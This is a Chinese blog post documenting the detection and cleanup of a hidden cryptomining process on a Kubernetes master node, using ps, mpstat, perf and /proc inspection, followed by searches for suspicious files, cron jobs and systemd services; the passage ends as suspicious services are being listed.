CPU 飙升?记一次挖矿程序排查

IT疑难杂症诊疗室 10w+人浏览 824人参与

在这里插入图片描述

我们的一台服务器,一共有 40 核。

但是 htop 显示 0-19 核长期利用率 100%,但是又找不到高利用率进程。

在这里插入图片描述

  • 经过一番折腾,最终定位是一个挖矿病毒
  • 本文介绍了排查和清理过程,希望可以给大家借鉴学习
  • 本人是第一次接触这种问题,有不对的地方也欢迎指正
  • 文章较长,结尾有一个整体的排查流程图,既是总结也是概览

一、排查过程

1. 基本信息收集

# 1. 查看系统负载和运行时间
uptime
# 输出: 06:31:02 up 1 day, 5:06, 1 users, load average: 0.97, 0.97, 0.99

# 2. 查看当前系统中的进程数和线程数
ps -eLf | wc -l
# 输出: 1330

# 3. 查看占用CPU最高的进程(前20个)
ps aux --sort=-%cpu | head -21

进程整理如下(后面省略)

USERPID%CPU%MEMCOMMAND(进程用途)
root28074.70.2kube-apiserver(K8s 核心组件,API 服务)
root24284.10.0kubelet(K8s 节点代理,管理容器生命周期)
root28102.80.0kube-controller-manager(K8s 控制器管理器)
root28692.20.0etcd(K8s 后端数据库,存储集群配置)
root14522.00.0containerd(容器运行时,管理容器)
_apt69591.50.0consul agent(服务发现与配置中心)
root53621.30.0calico-node(K8s 网络插件,提供网络通信)

从输出可以看到:

  1. 系统负载正常:load average 约为 1.0,对于 40 核机器来说很低
  2. CPU 使用率分散:最高的进程(kube-apiserver)只有 4.7%,没有明显的"CPU 杀手"
  3. 这是 K8s Master 节点:运行着 kube-apiserver、kubelet、etcd 等核心组件
  4. 总线程数:1330 个线程

补充知识:PS 显示的 %CPU 的含义
%CPU 的数值是指占用 1 个核心的百分比,例如服务器有 40 核,那么 10% 指的不是占用了 4 核,而是占用了 0.1 个核;换言之,如果某个进程占用 2 核那么其 %CPU=200%

补充知识:ps与内核态程序的关系
ps 只能查看用户态进程以及内核线程,而无法查看“内核态程序逻辑”,具体见下表

目标ps 是否可见推荐工具
用户态进程ps auxps -ef
内核线程(标识)能(以 [] 标注)ps auxhtop
内核态程序逻辑不能systemtapkgdbdmesg

补充知识:负载 (load) vs CPU 利用率
负载衡量了操作系统在排队任务数量的多少,而 CPU 利用衡量了当前 CPU 的使用情况

关键问题:htop 显示 0-19 核 100% 占用,但 ps 没看到对应的高 CPU 进程,这很可能是:

  • 短时进程/线程(瞬间出现又消失),工具采样率不足
  • 内核态任务
  • k8s CPU 亲和性绑定问题

补充:为何会怀疑 CPU 亲和性绑定问题
系统 ps 明显有 k8s 使用,并且如果 k8s 有成熟的 CPU 绑定机制,如果有很多的 k8s 调度的容器,很可能出现部分 CPU 利用率非常高的现象

进一步查看各个 CPU 的实际运行状况,结果如下

mpstat -P ALL 1 3

# 输出结果
# Linux 5.15.0-153-generic (protocol-k8s-master) 10/10/2025 _x86_64_ (40 CPU)

# 06:35:46 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle  
# 06:35:47 AM all 50.91 0.00 0.30 0.03 0.00 0.03 0.00 0.00 0.00 48.74  
# 06:35:47 AM 0 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00  
# 06:35:47 AM 1 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00  
# 06:35:47 AM 2 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00  
# 06:35:47 AM 3 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00  
# 06:35:47 AM 4 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00  
# 06:35:47 AM 5 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00  
# 06:35:47 AM 6 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00  
# 06:35:47 AM 7 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00  
# 06:35:47 AM 8 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00  
# 06:35:47 AM 9 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00  
# 06:35:47 AM 10 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00  
# 06:35:47 AM 11 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00  
# 06:35:47 AM 12 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00  
# 06:35:47 AM 13 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00  
# 06:35:47 AM 14 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00  
# 06:35:47 AM 15 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00  
# 06:35:47 AM 16 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00  
# 06:35:47 AM 17 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00  
# 06:35:47 AM 18 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00  
# 06:35:47 AM 19 99.01 0.00 0.99 0.00 0.00 0.00 0.00 0.00 0.00 0.00  
# 06:35:47 AM 20 1.03 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 98.97  
# 06:35:47 AM 21 0.00 0.00 0.00 1.01 0.00 0.00 0.00 0.00 0.00 98.99  
# 06:35:47 AM 22 2.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 98.00  
# 06:35:47 AM 23 3.96 0.00 0.99 0.00 0.00 0.00 0.00 0.00 0.00 95.05  
# 06:35:47 AM 24 1.01 0.00 1.01 0.00 0.00 0.00 0.00 0.00 0.00 97.98  
# 06:35:47 AM 25 0.00 0.00 1.01 0.00 0.00 0.00 0.00 0.00 0.00 98.99  
# 06:35:47 AM 26 2.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 97.00  
# 06:35:47 AM 27 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 99.00  
# 06:35:47 AM 28 2.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 97.00  
# 06:35:47 AM 29 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00  
# 06:35:47 AM 30 1.98 0.00 0.99 0.00 0.00 0.00 0.00 0.00 0.00 97.03  
# 06:35:47 AM 31 1.01 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 98.99  
# 06:35:47 AM 32 4.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 96.00  
# 06:35:47 AM 33 1.98 0.00 0.99 0.00 0.00 0.00 0.00 0.00 0.00 97.03  
# 06:35:47 AM 34 3.03 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 96.97  
# 06:35:47 AM 35 2.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 97.00  
# 06:35:47 AM 36 2.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 97.00  
# 06:35:47 AM 37 1.98 0.00 0.99 0.00 0.00 0.00 0.00 0.00 0.00 97.03  
# 06:35:47 AM 38 1.98 0.00 0.99 0.00 0.00 0.99 0.00 0.00 0.00 96.04  
# 06:35:47 AM 39 2.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 98.00

可以观察到 0-19 核的 %usr(用户态程序利用率)占用确实为 100%,而其他列均为 0,这排除了内核态程序运行的可能,说明有某个用户态程序在进行计算密集型任务。

再查看 k8s 本身的亲和性绑定的可能

taskset -cp 2807  # kube-apiserver
# 输出: pid 2807's current affinity list: 0-39
taskset -cp 2428  # kubelet
# 输出: taskset: failed to set pid 2428's affinity: No such process

我们发现 k8s 本身并未进行亲和性绑定,并且原有的 kubelet 进程消失了。

2. 潜在的用户态程序排查

首先使用如下脚本查看 0-19 核,cpu 利用率超过 1% 的进程(前 100)

for cpu in {0..19}; do
  echo "=== CPU $cpu ==="
  ps -eLo pid,tid,psr,pcpu,comm | awk -v cpu=$cpu '$3 == cpu && $4 > 1.0 {print}'
done | head -100

# 输出:无任何进程!

这说明 PS 找不到 0-19 核上运行的任何 CPU 利用率超过 1% 的进程!很奇怪。

再尝试查看容器内的潜在的用户态程序:

crictl ps | head -20

补充知识:crictl 是专门为 CRI 兼容容器运行时设计的工具。pscrictl 的子命令,作用是列出当前正在运行的容器,输出信息包括容器 ID、镜像、创建时间、状态等。

结果整理如下(看起来也没什特别的)

CONTAINERIMAGECREATEDSTATENAMEATTEMPTPOD IDPOD
29 hours agoRunningkube-multus1
29 hours agoRunningcoredns1
29 hours agoRunningcoredns1
29 hours agoRunningcalico-kube-controllers1
29 hours agoRunningcalico-node1
29 hours agoRunningkube-proxy1
29 hours agoRunningetcd2
29 hours agoRunningkube-apiserver2
29 hours agoRunningkube-controller-manager2
29 hours agoRunningkube-scheduler2

3. 继续深入查看 k8s

# 1. 查看所有 Pod 的 CPU 请求和限制
kubectl get pods -A -o custom-columns=NAMESPACE:.metadata.namespace,NAME:.metadata.name,CPU-REQ:.spec.containers[*].resources.requests.cpu,CPU-LIM:.spec.containers[*].resources.limits.cpu

# 2. 检查 kubelet 日志,看 CPU Manager 的分配情况
journalctl -u kubelet -n 200 --no-pager | grep -i "cpu"

# 3. 查看 kubelet 的具体配置
cat /var/lib/kubelet/config.yaml | grep -A 5 -B 5 cpu

输出结果分别整理如下

所有 Pod 的 CPU 请求和限制:无任何特殊配置!

NAMESPACENAMECPU-REQ(CPU 请求)CPU-LIM(CPU 限制)
kube-systemcalico-kube-controllers-949d58b75-mh2fm(无配置)(无配置)
kube-systemcalico-node-bkz99250m(0.25 核)(无配置)
kube-systemcoredns-787d4945fb-vlrxx100m(0.1 核)(无配置)
kube-systemcoredns-787d4945fb-vnsvz100m(0.1 核)(无配置)
kube-systemetcd-protocol-k8s-master100m(0.1 核)(无配置)
kube-systemkube-apiserver-protocol-k8s-master250m(0.25 核)(无配置)
kube-systemkube-controller-manager-protocol-k8s-master200m(0.2 核)(无配置)
kube-systemkube-multus-ds-vk475100m(0.1 核)100m(0.1 核)
kube-systemkube-proxy-55f5k(无配置)(无配置)
kube-systemkube-scheduler-protocol-k8s-master100m(0.1 核)(无配置)

kubelet 日志中所有包含 CPU 关键字的日志:cpuSet 无亲和性绑定!

Oct 10 06:33:47 protocol-k8s-master kubelet[2891814]: I1010 06:33:47.770310 2891814 cpu_manager.go:214] "Starting CPU manager" policy="static"  
Oct 10 06:33:47 protocol-k8s-master kubelet[2891814]: I1010 06:33:47.770337 2891814 cpu_manager.go:215] "Reconciling" reconcilePeriod="10s"  
Oct 10 06:33:47 protocol-k8s-master kubelet[2891814]: I1010 06:33:47.770608 2891814 state_mem.go:88] "Updated default CPUSet" cpuSet="0-39"  
Oct 10 06:33:47 protocol-k8s-master kubelet[2891814]: I1010 06:33:47.770628 2891814 state_mem.go:96] "Updated CPUSet assignments" assignments=map[]  
Oct 10 06:33:57 protocol-k8s-master kubelet[2891814]: I1010 06:33:57.794399 2891814 state_mem.go:80] "Updated desired CPUSet" podUID="d5205df7-4655-49c5-9175-3440eb48c862" containerName="calico-kube-controllers" cpuSet="0-39"  
Oct 10 06:33:57 protocol-k8s-master kubelet[2891814]: I1010 06:33:57.827116 2891814 state_mem.go:80] "Updated desired CPUSet" podUID="2724168d-a363-4ca2-88b2-eb24566ce9cd" containerName="kube-multus" cpuSet="0-39"  
Oct 10 06:33:57 protocol-k8s-master kubelet[2891814]: I1010 06:33:57.855813 2891814 state_mem.go:80] "Updated desired CPUSet" podUID="794bfaaa6a6f525746054576c9f6ed74" containerName="etcd" cpuSet="0-39"  
Oct 10 06:33:57 protocol-k8s-master kubelet[2891814]: I1010 06:33:57.879946 2891814 state_mem.go:80] "Updated desired CPUSet" podUID="ccae44c27a1442cd273c95445f5aa42e" containerName="kube-apiserver" cpuSet="0-39"  
Oct 10 06:33:57 protocol-k8s-master kubelet[2891814]: I1010 06:33:57.903450 2891814 state_mem.go:80] "Updated desired CPUSet" podUID="1c76e692cbd9f2e584af03957dea004e" containerName="kube-controller-manager" cpuSet="0-39"  
Oct 10 06:33:57 protocol-k8s-master kubelet[2891814]: I1010 06:33:57.923843 2891814 state_mem.go:80] "Updated desired CPUSet" podUID="20ace3a6-ecbc-49ac-9ded-dfe894cd0b6a" containerName="coredns" cpuSet="0-39"  
Oct 10 06:33:57 protocol-k8s-master kubelet[2891814]: I1010 06:33:57.953732 2891814 state_mem.go:80] "Updated desired CPUSet" podUID="3b27f8c0-9bd4-4bc5-9ed5-90cf870d8425" containerName="kube-proxy" cpuSet="0-39"  
Oct 10 06:33:57 protocol-k8s-master kubelet[2891814]: I1010 06:33:57.976891 2891814 state_mem.go:80] "Updated desired CPUSet" podUID="f8edd1c83c18704765671d2f10e7c327" containerName="kube-scheduler" cpuSet="0-39"  
Oct 10 06:33:57 protocol-k8s-master kubelet[2891814]: I1010 06:33:57.998093 2891814 state_mem.go:80] "Updated desired CPUSet" podUID="1a571b5f-b556-4040-b862-a2ab7401bb43" containerName="coredns" cpuSet="0-39"  
Oct 10 06:33:58 protocol-k8s-master kubelet[2891814]: I1010 06:33:58.027048 2891814 state_mem.go:80] "Updated desired CPUSet" podUID="580f75b2-799f-4ceb-b679-4b37126b7266" containerName="calico-node" cpuSet="0-39"

kubelet 配置中 cpu 相关的配置:无任何异常!

cacheUnauthorizedTTL: 0s  
cgroupDriver: systemd  
clusterDNS:

- 192.168.0.10  
    clusterDomain: cluster.local  
    cpuManagerReconcilePeriod: 0s  
    evictionPressureTransitionPeriod: 0s  
    fileCheckFrequency: 0s  
    healthzBindAddress: 127.0.0.1  
    healthzPort: 10248  
    httpCheckFrequency: 0s

总结:从日志可以看到:

  1. 所有 Pod 的 CPU 都分配到 cpuSet="0-39"(共享池)
  2. 没有任何 Pod 请求独占 CPU(都是小数或无请求,如 100m、250m)
  3. ✅ CPU Manager 的 assignments 是空的:assignments=map[]

但问题依然存在:CPU 0-19 被 100% 占用,却找不到占用的进程!

这是一个非常诡异的情况:这是一个典型的"隐藏进程"或"内核线程伪装"问题

4. “隐藏进程” 排查

让我们再更加底层的查看一下 CPU0 的运行状态

# 查看 /proc/stat 的实时变化
for i in {1..3}; do
  echo "=== Sample $i ==="
  grep "^cpu0 " /proc/stat
  sleep 1
done


# 输出
# === Sample 1 ===
# cpu0 18829360 0 14792 18826 16 0 103 0 0 0
# === Sample 2 ===
# cpu0 18829461 0 14792 18826 16 0 103 0 0 0
# === Sample 3 ===
# cpu0 18829562 0 14792 18826 16 0 103 0 0 0

我们 1s 采样一次,发现 CPU0 确实在执行用户态代码,每次采样增加 100 jiffies,但是 ps 看不到对应进程。

那我们不是用 ps,而是使用 perf top 看 CPU 0 在执行什么:

perf top -C 0 -n --stdio | head -50

输出如下

   PerfTop:    3934 irqs/sec  kernel: 0.1%  exact: 100.0% lost: 0/0 drop: 0/0 [4000Hz cycles],  (all, CPU: 0)
-------------------------------------------------------------------------------

     5.81%           837  [unknown]         [.] 0x00007f264c6a6f49
     3.60%           518  [unknown]         [.] 0x00007f264c6a6f71
     0.37%            53  [unknown]         [.] 0x00007f264c6a6f58
     0.36%            52  [unknown]         [.] 0x0000000000752a13
     0.34%            48  [unknown]         [.] 0x0000000000752a84
     0.34%            48  [unknown]         [.] 0x0000000000752a2b
     0.33%            47  [unknown]         [.] 0x0000000000752a5f
     0.33%            47  [unknown]         [.] 0x00007f264c6a6f9d
     0.32%            46  [unknown]         [.] 0x0000000000752a53
     0.32%            46  [unknown]         [.] 0x0000000000752a1f
     0.31%            45  [unknown]         [.] 0x00007f264c6a6f84
     0.31%            45  [unknown]         [.] 0x00007f264c6a6f98
     0.30%            44  [unknown]         [.] 0x0000000000752a6b
     0.27%            38  [unknown]         [.] 0x0000000000752a7d
     0.26%            36  [unknown]         [.] 0x00000000007529fe
     0.25%            35  [unknown]         [.] 0x0000000000752a3f
     0.22%            31  [unknown]         [.] 0x00000000007529fa
     0.21%            29  [unknown]         [.] 0x0000000000752a04

perf top 仍然显示 [unknown] 符号在 CPU 0 上执行,这进一步说明有一个"隐藏进程"或者"进程没有被正确统计"。

最关键的追踪:找出地址对应的进程

使用 perf record 来对 CPU0 的执行进行记录(3s)

perf record -C 0 -g sleep 3
# `-g`:记录函数调用栈(方便后续分析调用关系)
# 执行后会生成 perf.data 数据,用于后续分析

使用 perf report 命令来分析 perf.data 数据(perf record 生成)

perf report --stdio -i perf.data 2>/dev/null | head -100

输出如下:

# To display the perf.data header info, please use --header/--header-only options.
#
#
# Total Lost Samples: 0
#
# Samples: 12K of event 'cycles'
# Event count (approx.): 8422143942
#
# Children      Self  Command          Shared Object      Symbol
# ........  ........  ...............  .................  .....................................
#
     6.23%     0.16%  :4529            [unknown]          [.] 0x00007f264c6a6f4c
            |
             --6.07%--0x7f264c6a6f4c

     6.06%     6.06%  :4529            [unknown]          [.] 0x00007f264c6a6f49
            |
            ---0x7f264c6a6f4c

     3.72%     3.58%  :4529            [unknown]          [.] 0x00007f264c6a6f71
            |
             --3.58%--0x7f264c6a6f75

     3.71%     0.13%  :4529            [unknown]          [.] 0x00007f264c6a6f75
            |
             --3.59%--0x7f264c6a6f75

     0.68%     0.31%  :4529            [unknown]          [.] 0x00007f264c6a6f9d
     0.60%     0.22%  :4529            [unknown]          [.] 0x00007f264c6a6f5c
     0.59%     0.39%  :4529            [unknown]          [.] 0x00007f264c6a6f84
     0.58%     0.29%  :4529            [unknown]          [.] 0x0000000000752a04
     0.56%     0.37%  :4529            [unknown]          [.] 0x00007f264c6a6f98
     0.54%     0.29%  :4529            [unknown]          [.] 0x00000000007529fe
     0.45%     0.06%  :4529            [unknown]          [.] 0x00007f264c6a6f89
     0.42%     0.12%  :4529            [unknown]          [.] 0x00007f264c6a6fa2
     0.40%     0.38%  :4529            [unknown]          [.] 0x00007f264c6a6f58
     0.38%     0.17%  :4529            [unknown]          [.] 0x00007f264c6a6f60
     0.38%     0.03%  :4529            [unknown]          [.] 0x0000000000752a25
     0.37%     0.36%  :4529            [unknown]          [.] 0x0000000000752a1f
     0.35%     0.32%  :4529            [unknown]          [.] 0x0000000000752a2b
     0.35%     0.02%  :4529            [unknown]          [.] 0x0000000000752a31
     0.34%     0.02%  :4529            [unknown]          [.] 0x0000000000752a19
     0.34%     0.19%  :4529            [unknown]          [.] 0x00007f264c6a6fac
     0.34%     0.32%  :4529            [unknown]          [.] 0x0000000000752a6b
     0.33%     0.33%  :4529            [unknown]          [.] 0x0000000000752a13
     0.32%     0.00%  :4529            [unknown]          [.] 0x0000000000752a71
     0.32%     0.32%  :4529            [unknown]          [.] 0x0000000000752a84
     0.32%     0.00%  :4529            [unknown]          [.] 0x00000000007529f0
     0.31%     0.03%  :4529            [unknown]          [.] 0x0000000000752a45
     0.31%     0.03%  :4529            [unknown]          [.] 0x0000000000752a59
     0.31%     0.18%  :4529            [unknown]          [.] 0x00007f264c6a6f93
     0.31%     0.15%  :4529            [unknown]          [.] 0x00007f264c6a6f50
     0.30%     0.28%  :4529            [unknown]          [.] 0x0000000000752a3f
     0.29%     0.00%  :4529            [unknown]          [.] 0x0000000000752a09
     0.28%     0.27%  :4529            [unknown]          [.] 0x0000000000752a53
     0.27%     0.00%  :4529            [unknown]          [.] 0x00007f264c6a6f40
     0.27%     0.12%  :4529            [unknown]          [.] 0x00007f264c6a6fc0
     0.27%     0.15%  :4529            [unknown]          [.] 0x00007f264c6a6fa7
     0.26%     0.24%  :4529            [unknown]          [.] 0x0000000000752a7d
     0.25%     0.08%  :4529            [unknown]          [.] 0x00007f264c6a6f64
     0.25%     0.20%  :4529            [unknown]          [.] 0x00007f264c6a6f7f
     0.24%     0.24%  :4529            [unknown]          [.] 0x00000000007529fa
     0.24%     0.05%  :4529            [unknown]          [.] 0x00007f264c6a6fb1
     0.24%     0.00%  :4529            [unknown]          [.] 0x0000000000752a81
     0.23%     0.14%  :4529            [unknown]          [.] 0x00007f264c6a6fbb
     0.23%     0.08%  :4529            [unknown]          [.] 0x00007f264c6a78cc
     0.22%     0.18%  :4529            [unknown]          [.] 0x0000000000752a5f
     0.20%     0.02%  :4529            [unknown]          [.] 0x0000000000752a65
     0.20%     0.00%  :4529            [unknown]          [.] 0x00000000007573c6
     0.20%     0.09%  :4529            [unknown]          [.] 0x00007f264c6a78c1
     0.20%     0.08%  :4529            [unknown]          [.] 0x00007f264c6a784d
     0.20%     0.07%  :4529            [unknown]          [.] 0x00007f264c6a78df
     0.19%     0.14%  :4529            [unknown]          [.] 0x00007f264c6a785d
     0.18%     0.08%  :4529            [unknown]          [.] 0x00007f264c6a7886
     0.18%     0.09%  :4529            [unknown]          [.] 0x00007f264c6a786d
     0.18%     0.13%  :4529            [unknown]          [.] 0x00007f264c6a78c6
     0.18%     0.05%  :4529            [unknown]          [.] 0x00007f264c6a7861
     0.18%     0.06%  :4529            [unknown]          [.] 0x00007f264c6a789f
     0.18%     0.12%  :4529            [unknown]          [.] 0x00007f264c6a78c8
     0.18%     0.09%  :4529            [unknown]          [.] 0x00007f264c6a78ec
     0.18%     0.12%  :4529            [unknown]          [.] 0x00007f264c6a6f8e
     0.18%     0.09%  :4529            [unknown]          [.] 0x00007f264c6a785b
     0.18%     0.05%  :4529            [unknown]          [.] 0x00007f264c6a6f7a
     0.18%     0.09%  :4529            [unknown]          [.] 0x00007f264c6a78a7
     0.17%     0.07%  :4529            [unknown]          [.] 0x00007f264c6a7860
     0.17%     0.05%  :4529            [unknown]          [.] 0x00007f264c6a786a
     0.17%     0.07%  :4529            [unknown]          [.] 0x00007f264c6a789c
     0.17%     0.08%  :4529            [unknown]          [.] 0x00007f264c6a7874
     0.17%     0.12%  :4529            [unknown]          [.] 0x00007f264c6a7866
     0.17%     0.07%  :4529            [unknown]          [.] 0x00007f264c6a6fda
     0.17%     0.09%  :4529            [unknown]          [.] 0x00007f264c6a785a
     0.17%     0.02%  :4529            [unknown]          [.] 0x00007f264c6a6f54
     0.17%     0.09%  :4529            [unknown]          [.] 0x00007f264c6a787d
     0.17%     0.07%  :4529            [unknown]          [.] 0x00007f264c6a78c4
     0.17%     0.13%  :4529            [unknown]          [.] 0x00007f264c6a78db
     0.17%     0.09%  :4529            [unknown]          [.] 0x00007f264c6a788b
     0.16%     0.07%  :4529            [unknown]          [.] 0x00007f264c6a7876
     0.16%     0.10%  :4529            [unknown]          [.] 0x00007f264c6a78bd
     0.16%     0.08%  :4529            [unknown]          [.] 0x00007f264c6a78aa
     0.16%     0.07%  :4529            [unknown]          [.] 0x00007f264c6a78a2

可以观察 Command 列,有一个叫 :4529 的进程名

补充知识:perf 无法识别进程 4529 的完整命令名,只能用 “冒号 + PID” 的格式替代放在 Command 列。换言之,4529 就是其 PID。

查看进程 4529 相关信息

# 查看进程 4529 的完整启动命令
cat /proc/4529/cmdline | tr '\0' ' '; echo
# 输出:/bb3d4885

# 查看进程 4529 对应的可执行文件路径及状态
ls -l /proc/4529/exe
# 输出:lrwxrwxrwx 1 root root 0 Oct 12 07:01 /proc/4529/exe -> '/bb3d4885 (deleted)'

# 查看进程 4529 的核心状态信息
cat /proc/4529/status | head -20
# 输出:
# Name:   bb3d4885
# Umask:  0022
# State:  R (running)
# Tgid:   3365
# Ngid:   0
# Pid:    4529
# PPid:   1
# TracerPid:      0
# Uid:    0       0       0       0
# Gid:    0       0       0       0
# FDSize: 64
# Groups:
# NStgid: 3365
# NSpid:  4529
# NSpgid: 3365
# NSsid:  3365
# VmPeak: 17605068 kB
# VmSize: 16524148 kB
# VmLck:         0 kB
# VmPin:         0 kB

# 查看进程的内存映射
cat /proc/4529/maps 2>/dev/null | head -50
# 输出:
# 00400000-00c2e000 r-xp 00000000 fd:00 20                                 /bb3d4885 (deleted)
# 00e2d000-00e61000 r--p 0082d000 fd:00 20                                 /bb3d4885 (deleted)
# 00e61000-00e6f000 rw-p 00861000 fd:00 20                                 /bb3d4885 (deleted)
# 00e6f000-00f0b000 rw-p 00000000 00:00 0
# 1be59000-1bf06000 rw-p 00000000 00:00 0                                  [heap]
# 1bf06000-1c3b0000 rw-p 00000000 00:00 0                                  [heap]
# 7f2230000000-7f2230021000 rw-p 00000000 00:00 0
# 7f2230021000-7f2234000000 ---p 00000000 00:00 0
# 7f2238000000-7f2238021000 rw-p 00000000 00:00 0
# 7f2238021000-7f223c000000 ---p 00000000 00:00 0
# 7f223c789000-7f223c78a000 ---p 00000000 00:00 0
# 7f223c78a000-7f223cf8a000 rw-p 00000000 00:00 0
# 7f223cf8a000-7f223cf8b000 ---p 00000000 00:00 0
# 7f223cf8b000-7f223d78b000 rw-p 00000000 00:00 0
# 7f223d78b000-7f223d78c000 ---p 00000000 00:00 0
# 7f223d78c000-7f223df8c000 rw-p 00000000 00:00 0
# 7f223df8c000-7f223df8d000 ---p 00000000 00:00 0
# 7f223df8d000-7f223e78d000 rw-p 00000000 00:00 0
# 7f2278000000-7f2278021000 rw-p 00000000 00:00 0
# 7f2278021000-7f227c000000 ---p 00000000 00:00 0
# 7f2280000000-7f2280021000 rw-p 00000000 00:00 0
# 7f2280021000-7f2284000000 ---p 00000000 00:00 0
# 7f2284000000-7f2284021000 rw-p 00000000 00:00 0
# 7f2284021000-7f2288000000 ---p 00000000 00:00 0
# 7f2288000000-7f2288021000 rw-p 00000000 00:00 0
# 7f2288021000-7f228c000000 ---p 00000000 00:00 0
# 7f228c000000-7f228c021000 rw-p 00000000 00:00 0
# 7f228c021000-7f2290000000 ---p 00000000 00:00 0
# 7f22913ff000-7f2291400000 ---p 00000000 00:00 0
# 7f2291400000-7f2291c00000 rw-p 00000000 00:00 0
# 7f2291c00000-7f2291e00000 rw-p 00000000 00:10 120906                     /anon_hugepage (deleted)
# 7f2291fff000-7f2292000000 ---p 00000000 00:00 0
# 7f2292000000-7f2292800000 rw-p 00000000 00:00 0
# 7f2292800000-7f2292a00000 rw-p 00000000 00:10 57449                      /anon_hugepage (deleted)
# 7f2292bff000-7f2292c00000 ---p 00000000 00:00 0
# 7f2292c00000-7f2293400000 rw-p 00000000 00:00 0
# 7f2293400000-7f2293600000 rw-p 00000000 00:10 56465                      /anon_hugepage (deleted)
# 7f22937ff000-7f2293800000 ---p 00000000 00:00 0
# 7f2293800000-7f2294000000 rw-p 00000000 00:00 0
# 7f2294000000-7f2294021000 rw-p 00000000 00:00 0
# 7f2294021000-7f2298000000 ---p 00000000 00:00 0
# 7f2298000000-7f2298021000 rw-p 00000000 00:00 0
# 7f2298021000-7f229c000000 ---p 00000000 00:00 0
# 7f229c000000-7f229c021000 rw-p 00000000 00:00 0
# 7f229c021000-7f22a0000000 ---p 00000000 00:00 0
# 7f22a0000000-7f22a0021000 rw-p 00000000 00:00 0
# 7f22a0021000-7f22a4000000 ---p 00000000 00:00 0
# 7f22a4000000-7f22a4021000 rw-p 00000000 00:00 0
# 7f22a4021000-7f22a8000000 ---p 00000000 00:00 0
# 7f22a8000000-7f22a8200000 rw-p 00000000 00:10 77981                      /anon_hugepage (deleted)

补充知识:/proc/[PID]/maps 是内核为每个进程维护的 内存区域映射表,记录了进程占用的每一块内存的用途、权限、来源文件等信息

这是一个典型的挖矿木马或恶意程序!

关键证据:

  1. ✅ 进程名:bb3d4885 (随机字符串)
  2. ✅ 可执行文件已被删除:/bb3d4885 (deleted)
  3. ✅ 大量匿名大页内存:/anon_hugepage (deleted)
  4. ✅ 进程状态:R (running) 持续运行
  5. ✅ 父进程是 PID 1(PPid: 1,即 init/systemd),说明它伪装成系统服务
  6. ✅ 占用大量内存:16 GB(VmSize: 16524148 kB

5. 关于 unhide

我在这个内容中找到 unhide 可以方便的看到隐藏进程,但是实际执行会输出一些无关的系统进程,我觉得可写一个脚本处理 unhide 的输出,快速定位问题程序进程。
(但我没有使用这个工具)

二、查杀与清理(问题 PID=4529)

1. 初步处理:杀死进程并删除可执行文件

cat /proc/4529/task/*/environ

输出中可以找到可执行文件路径 /usr/bin/tmuxinfo89bd15e28a96c6f5

kill -9 4529

杀死进程后发现 CPU 恢复正常,然后首先删掉可执行文件

rm /usr/bin/tmuxinfo*

2. 寻找并删除可疑文件

  • 如果内容较多可以把结果交给 AI 进行筛查(提示词:下面有哪些文件是异常的吗,我在查找木马或者挖矿程序)
  • 如果发现异常文件,人工确认后删除
# 排查临时目录中的可疑执行程序
find /tmp -type f -executable 2>/dev/null | head -20
# 检查是否有进程通过共享内存隐藏数据或恶意程序
find /dev/shm -type f 2>/dev/null
# 排查近 7 天内临时目录新增 / 修改的文件
find /tmp /var/tmp /dev/shm -type f -mtime -7 2>/dev/null
# 排查 /root 目录近 30 天内新增的隐藏文件
find /root -type f -name ".*" -mtime -30 2>/dev/null | head -20
# 查找乱码可执行文件
find /usr/bin /usr/sbin /usr/local/bin -type f -name "*[a-zA-Z0-9]{8}*" 2>/dev/null

# 查找所有 tmuxinfo 有关文件
find / -name "*tmuxinfo*" 2>/dev/null

3. 寻找并清理可疑定时任务

  • 如果内容较多可以把结果交给 AI 进行筛查(提示词:下面有哪些任务或者服务是异常的吗,我在查找木马或者挖矿程序)
# 查找 crontab 正在执行定时任务
crontab -l

# 查看系统中所有定时任务的有效配置(过滤掉注释内容)
grep -v "^#" /etc/cron*/* 2>/dev/null

如果找到,删除对应的定时任务配置文件

4. 寻找并清理可疑 systemd 服务

  • 如果内容较多可以把结果交给 AI 进行筛查(提示词:下面有哪些任务或者服务是异常的吗,我在查找木马或者挖矿程序)
# 查找 systemd 维护的定时任务
systemctl list-timers
# 查找 systemd 的开机启动任务
systemctl list-unit-files | grep enabled | grep -v "^#"
# 查找其他可疑的服务配置
ls -la /etc/systemd/system/*.service
# 查找含乱码服务
# systemctl list-unit-files | grep -E "[a-zA-Z0-9]{8,}" | grep -v "^#"

这里找了三个可疑的服务

